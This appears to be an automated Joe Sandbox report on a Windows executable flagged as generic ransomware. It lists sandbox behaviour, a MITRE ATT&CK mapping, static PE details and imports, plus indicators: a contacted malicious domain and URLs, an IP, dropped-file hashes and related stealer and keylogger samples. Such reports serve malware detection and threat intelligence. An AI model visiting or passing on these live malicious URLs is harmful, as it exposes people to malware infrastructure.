Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC\Microsoft.mshtml\7.0.3300.0__b03f5f7f11d50a3a\Microsoft.mshtml.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF73A24DC1C GetLocalTime,

0_2_00007FF73A24DC1C

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF73A232BCF GetUserNameW,

0_2_00007FF73A232BCF

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF73A212400 _get_daylight,_get_daylight,_get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

0_2_00007FF73A212400

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF73A1F1D80 GetVersionExW,GetCurrentProcess,IsWow64Process,GetSystemInfo,GetSystemInfo,FreeLibrary,

0_2_00007FF73A1F1D80

Source: elyho3x5zz.exe, 00000000.00000003.2465589550.00000230D779B000.00000004.00000020.00020000.00000000.sdmp, elyho3x5zz.exe, 00000000.00000003.2465670604.00000230D77A3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\C:\Users\Public\Guard.exe
Source: elyho3x5zz.exe, 00000000.00000002.2465958459.00000230D77A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: rs\Public\Guard.exe
Source: elyho3x5zz.exe, 00000000.00000002.2465821530.000000E808DD9000.00000004.00000010.00020000.00000000.sdmp, elyho3x5zz.exe, 00000000.00000002.2465910493.00000230D7778000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Users\Public\Guard.exe

Source: elyho3x5zz.exe	Binary or memory string: WIN_81
Source: elyho3x5zz.exe	Binary or memory string: WIN_XP
Source: elyho3x5zz.exe	Binary or memory string: WIN_XPe
Source: elyho3x5zz.exe	Binary or memory string: WIN_VISTA
Source: elyho3x5zz.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte
Source: elyho3x5zz.exe	Binary or memory string: WIN_7
Source: elyho3x5zz.exe	Binary or memory string: WIN_8

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF73A263940 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,

0_2_00007FF73A263940

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	1 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	11 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 PowerShell	2 Valid Accounts	1 DLL Side-Loading	1 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	11 Input Capture	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	2 Valid Accounts	1 DLL Side-Loading	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	3 Clipboard Data	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	21 Access Token Manipulation	11 Masquerading	NTDS	25 System Information Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	2 Process Injection	2 Valid Accounts	LSA Secrets	4 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	21 Virtualization/Sandbox Evasion	Cached Domain Credentials	21 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	21 Access Token Manipulation	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	2 Process Injection	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
elyho3x5zz.exe	56%	Virustotal		Browse
elyho3x5zz.exe	39%	ReversingLabs	Win32.Ransomware.Generic

Source	Detection	Scanner	Label	Link
https://bdfhbrgrg.xyz/yajwgWMT.txt	0%	Avira URL Cloud	safe
https://bdfhbrgrg.xyz/ImldXigH	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bdfhbrgrg.xyz	188.114.96.3	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://bdfhbrgrg.xyz/ImldXigH	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://bdfhbrgrg.xyz/yajwgWMT.txt	elyho3x5zz.exe, 00000000.00000002.2465910493.00000230D7778000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.114.96.3	bdfhbrgrg.xyz	European Union		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1584333
Start date and time:	2025-01-05 08:43:18 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 41s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	elyho3x5zz.exe renamed because original name is a hash value
Original Sample Name:	69931884c719a49700d9b1921e915ed0.exe
Detection:	MAL
Classification:	mal76.troj.evad.winEXE@4/4@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 94% Number of executed functions: 42 Number of non-executed functions: 247
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms Sleep loops longer than 100000000ms are bypassed. Single calls with delay of 100000000ms and higher are ignored

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 52.149.20.212, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.96.3	Gg6wivFINd.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	unasnetds.ru/eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php
	QUOTATION_NOVQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/u7ghXEYp/download
	CV_ Filipa Barbosa.exe	Get hash	malicious	FormBook	Browse	www.mffnow.info/1a34/
	A2028041200SD.exe	Get hash	malicious	FormBook	Browse	www.mydreamdeal.click/1ag2/
	SWIFT COPY 0028_pdf.exe	Get hash	malicious	FormBook	Browse	www.questmatch.pro/ipd6/
	QUOTATION_NOVQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/I7fmQg9d/download
	need quotations.exe	Get hash	malicious	FormBook	Browse	www.rtpwslot888gol.sbs/jmkz/
	QUOTATION_NOVQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/Bh1Kj4RD/download
	http://kklk16.bsyo45ksda.top	Get hash	malicious	Unknown	Browse	kklk16.bsyo45ksda.top/favicon.ico
	QUOTATION_NOVQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/XrlEIxYp/download

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Tax_Refund_Claim_2024_Australian_Taxation_Office.js	Get hash	malicious	Remcos	Browse	172.64.41.3
	X9g8L63QGs.exe	Get hash	malicious	Blank Grabber	Browse	162.159.137.232
	KpHYfxnJs6.exe	Get hash	malicious	Blank Grabber	Browse	162.159.137.232
	https://bit.ly/3VYGxmh	Get hash	malicious	CAPTCHA Scam ClickFix, Phisher	Browse	104.18.95.41
	armv6l.elf	Get hash	malicious	Unknown	Browse	198.41.197.77
	Yoranis Setup.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	Yoranis Setup.exe	Get hash	malicious	Unknown	Browse	104.26.13.205
	file.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.12.205
	file.exe	Get hash	malicious	LummaC, PureLog Stealer	Browse	104.21.64.1

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Tax_Refund_Claim_2024_Australian_Taxation_Office.js	Get hash	malicious	Remcos	Browse	188.114.96.3
	c2.hta	Get hash	malicious	Remcos	Browse	188.114.96.3
	3lhrJ4X.exe	Get hash	malicious	LiteHTTP Bot	Browse	188.114.96.3
	CEFA-FAS_LicMgr.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	same.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar, XWorm	Browse	188.114.96.3
	m.txt.ps1	Get hash	malicious	Unknown	Browse	188.114.96.3
	XClient.exe	Get hash	malicious	XWorm	Browse	188.114.96.3
	1111.hta	Get hash	malicious	Unknown	Browse	188.114.96.3

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	9434
Entropy (8bit):	4.928515784730612
Encrypted:	false
SSDEEP:	192:Lxoe5qpOZxoe54ib4ZVsm5emdrgkjDt4iWN3yBGHVQ9smzdcU6Cj9dcU6CG9smAH:srib4ZIkjh4iUxsT6Ypib47
MD5:	D3594118838EF8580975DDA877E44DEB
SHA1:	0ACABEA9B50CA74E6EBAE326251253BAF2E53371
SHA-256:	456A877AFDD786310F7DAF74CCBC7FB6B0A0D14ABD37E3D6DE9D8277FFAC7DDE
SHA-512:	103EA89FA5AC7E661417BBFE049415EF7FA6A09C461337C174DF02925D6A691994FE91B148B28D6A712604BDBC4D1DB5FEED8F879731B36326725AA9714AC53C
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulp77th:NllU
MD5:	7B5F360646F3167812DC4ADF7B166512
SHA1:	F00A325C611E6C9CC6D2069C0FEAE54C6B7E48E5
SHA-256:	672CD1B39FD62CBC4EEAC339C7863E190A95CEF4DDCEF0F4A5BE946E098B63B0
SHA-512:	7CA2CD8F0A6E6388628AC33A539DB661FCFFE08453DFACFE353B18B548ABC08072BF2FDAE40EEEA671137FE137177ADB4E322D9C77CDE8B6AADE7600EA4C18E0
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	@...e.................................x..............@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bkzwr5jg.4yy.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ycgw4vc1.xjq.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	6.306406255978983
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	elyho3x5zz.exe
File size:	1'083'904 bytes
MD5:	69931884c719a49700d9b1921e915ed0
SHA1:	9d01852540ef12d782a18f0aae776a4af90be433
SHA256:	d438f531f435c04c139ff9895885a3bc721958fde5354d738bb928b1899e5693
SHA512:	069f18068ee4fdf10c829cd3dd5982d7643a491ee26a9a5c2bd84bc7ff04b6f97bfdc0e16a7c01d01a4dbe131dd06a912cd49a78f156f48bf1946bb65b7d5293
SSDEEP:	24576:PrORE29TTVx8aBRd1h1orq+GWE0Jc5bDTj1Vyv9Tvan1r:P2EYTb8atv1orq+pEiSDTj1VyvBa1
TLSH:	F7357C4973A4419DFEABE1B6CA23C607D6B17C490276861F01A47B767F337712A2E321
File Content Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$.......o1).+PG.+PG.+PG.....>PG......PG......PG.....PG.y8B..PG.y8C.:PG.y8D.#PG."(..#PG."(..PG."(...PG.+PF..RG..9I.{PG..9D.PG..9..PG

File Icon


Icon Hash:	0fd88dc89ea7861b

Static PE Info

General

Entrypoint:	0x14002549c
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x6773AA89 [Tue Dec 31 08:25:45 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	2
File Version Major:	5
File Version Minor:	2
Subsystem Version Major:	5
Subsystem Version Minor:	2
Import Hash:	fadc5a257419d2541a6b13dfb5e311e2

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F9B208968B0h
dec eax
add esp, 28h
jmp 00007F9B208961BFh
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
dec eax
mov ebx, ecx
dec eax
mov eax, edx
dec eax
lea ecx, dword ptr [0009466Dh]
dec eax
mov dword ptr [ebx], ecx
dec eax
lea edx, dword ptr [ebx+08h]
xor ecx, ecx
dec eax
mov dword ptr [edx], ecx
dec eax
mov dword ptr [edx+08h], ecx
dec eax
lea ecx, dword ptr [eax+08h]
call 00007F9B20897DC9h
dec eax
lea eax, dword ptr [0009467Dh]
dec eax
mov dword ptr [ebx], eax
dec eax
mov eax, ebx
dec eax
add esp, 20h
pop ebx
ret
int3
dec eax
and dword ptr [ecx+10h], 00000000h
dec eax
lea eax, dword ptr [00094674h]
dec eax
mov dword ptr [ecx+08h], eax
dec eax
lea eax, dword ptr [00094659h]
dec eax
mov dword ptr [ecx], eax
dec eax
mov eax, ecx
ret
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
dec eax
mov ebx, ecx
dec eax
mov eax, edx
dec eax
lea ecx, dword ptr [0009460Dh]
dec eax
mov dword ptr [ebx], ecx
dec eax
lea edx, dword ptr [ebx+08h]
xor ecx, ecx
dec eax
mov dword ptr [edx], ecx
dec eax
mov dword ptr [edx+08h], ecx
dec eax
lea ecx, dword ptr [eax+08h]
call 00007F9B20897D69h
dec eax
lea eax, dword ptr [00094645h]
dec eax
mov dword ptr [ebx], eax
dec eax
mov eax, ebx
dec eax
add esp, 20h
pop ebx
ret
int3
dec eax
and dword ptr [ecx+10h], 00000000h
dec eax
lea eax, dword ptr [0009463Ch]
dec eax
mov dword ptr [ecx+08h], eax
dec eax
lea eax, dword ptr [00000021h]

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xe5c10	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xfb000	0x140fc	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0xf4000	0x6f48	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x110000	0xa74	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xc7050	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xd9aa0	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xc7070	0x100	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xb5000	0x1138	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xb3328	0xb3400	507a8505198e35cc9675301d53e3b1c4	False	0.5503358721234309	data	6.5212967575920215	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xb5000	0x34204	0x34400	9eda36be0cf076085a2f9772c1ee5803	False	0.30884139503588515	data	5.360588077813426	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xea000	0x9120	0x5000	ec6b77d6ef8898b0d3b7d48c042d66a0	False	0.040673828125	DOS executable (block device driver)	0.5749243362866429	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0xf4000	0x6f48	0x7000	4416e27f8be9f9271c439d2fd34d1b2d	False	0.49612862723214285	data	5.911479421450324	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0xfb000	0x140fc	0x14200	4214549914061d73180b66f91844d288	False	0.19348068711180125	data	4.245897898582436	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x110000	0xa74	0xc00	5ddb0e422ace102fe530e589a0cbec6f	False	0.4850260416666667	data	5.139847116863034	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xfb458	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xfb580	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xfb6a8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xfb7d0	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536, resolution 60472 x 60472 px/m	English	Great Britain	0.14468236129184905
RT_MENU	0x10bff8	0x50	data	English	Great Britain	0.9
RT_STRING	0x10c048	0x594	data	English	Great Britain	0.3333333333333333
RT_STRING	0x10c5dc	0x68a	data	English	Great Britain	0.2735961768219833
RT_STRING	0x10cc68	0x490	data	English	Great Britain	0.3715753424657534
RT_STRING	0x10d0f8	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0x10d6f4	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0x10dd50	0x466	data	English	Great Britain	0.3605683836589698
RT_STRING	0x10e1b8	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	Great Britain	0.502906976744186
RT_RCDATA	0x10e310	0x8d0	data			1.0048758865248226
RT_GROUP_ICON	0x10ebe0	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0x10ebf4	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0x10ec08	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0x10ec1c	0x14	data	English	Great Britain	1.25
RT_VERSION	0x10ec30	0xdc	data	English	Great Britain	0.6181818181818182
RT_MANIFEST	0x10ed0c	0x3ef	ASCII text, with CRLF line terminators	English	Great Britain	0.5074478649453823

Imports

DLL	Import
WSOCK32.dll	gethostbyname, recv, send, socket, inet_ntoa, setsockopt, ntohs, WSACleanup, WSAStartup, sendto, htons, __WSAFDIsSet, select, accept, listen, bind, inet_addr, ioctlsocket, recvfrom, WSAGetLastError, closesocket, gethostname, connect
VERSION.dll	GetFileVersionInfoW, VerQueryValueW, GetFileVersionInfoSizeW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_ReplaceIcon, ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, InitCommonControlsEx, ImageList_Create
MPR.dll	WNetGetConnectionW, WNetCancelConnection2W, WNetUseConnectionW, WNetAddConnection2W
WININET.dll	HttpOpenRequestW, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, InternetConnectW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetReadFile, InternetQueryDataAvailable
PSAPI.DLL	GetProcessMemoryInfo
IPHLPAPI.DLL	IcmpSendEcho, IcmpCloseHandle, IcmpCreateFile
USERENV.dll	DestroyEnvironmentBlock, LoadUserProfileW, CreateEnvironmentBlock, UnloadUserProfile
UxTheme.dll	IsThemeActive
KERNEL32.dll	WaitForSingleObject, HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, IsWow64Process, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, SetEndOfFile, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, GetLongPathNameW, GetShortPathNameW, DeleteFileW, FindNextFileW, CopyFileExW, GetFullPathNameW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, LoadResource, LockResource, SizeofResource, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, LoadLibraryW, GetLocalTime, CompareStringW, EnterCriticalSection, DuplicateHandle, GetStdHandle, CreatePipe, TerminateThread, LoadLibraryExW, FindResourceExW, CopyFileW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, HeapReAlloc, HeapSize, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, GetProcessId, SetPriorityClass, VirtualAlloc, SetCurrentDirectoryW, IsDebuggerPresent, GetCurrentDirectoryW, lstrcmpiW, GetLastError, RaiseException, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, IsProcessorFeaturePresent, GetSystemTimeAsFileTime, CreateThread, GetCurrentProcess, GetCurrentThread, LeaveCriticalSection, InitializeSListHead, RtlUnwindEx, RtlPcToFileHeader, SetLastError, TlsAlloc, ResetEvent, WaitForSingleObjectEx, TlsGetValue, TlsSetValue, TlsFree, EncodePointer, ExitProcess, GetModuleHandleExW, ExitThread, ResumeThread, FreeLibraryAndExitThread, GetACP, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetStringTypeW, GetFileType, SetStdHandle, GetConsoleCP, GetConsoleMode, ReadConsoleW, GetTimeZoneInformation, FindFirstFileExW, IsValidCodePage, GetOEMCP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, 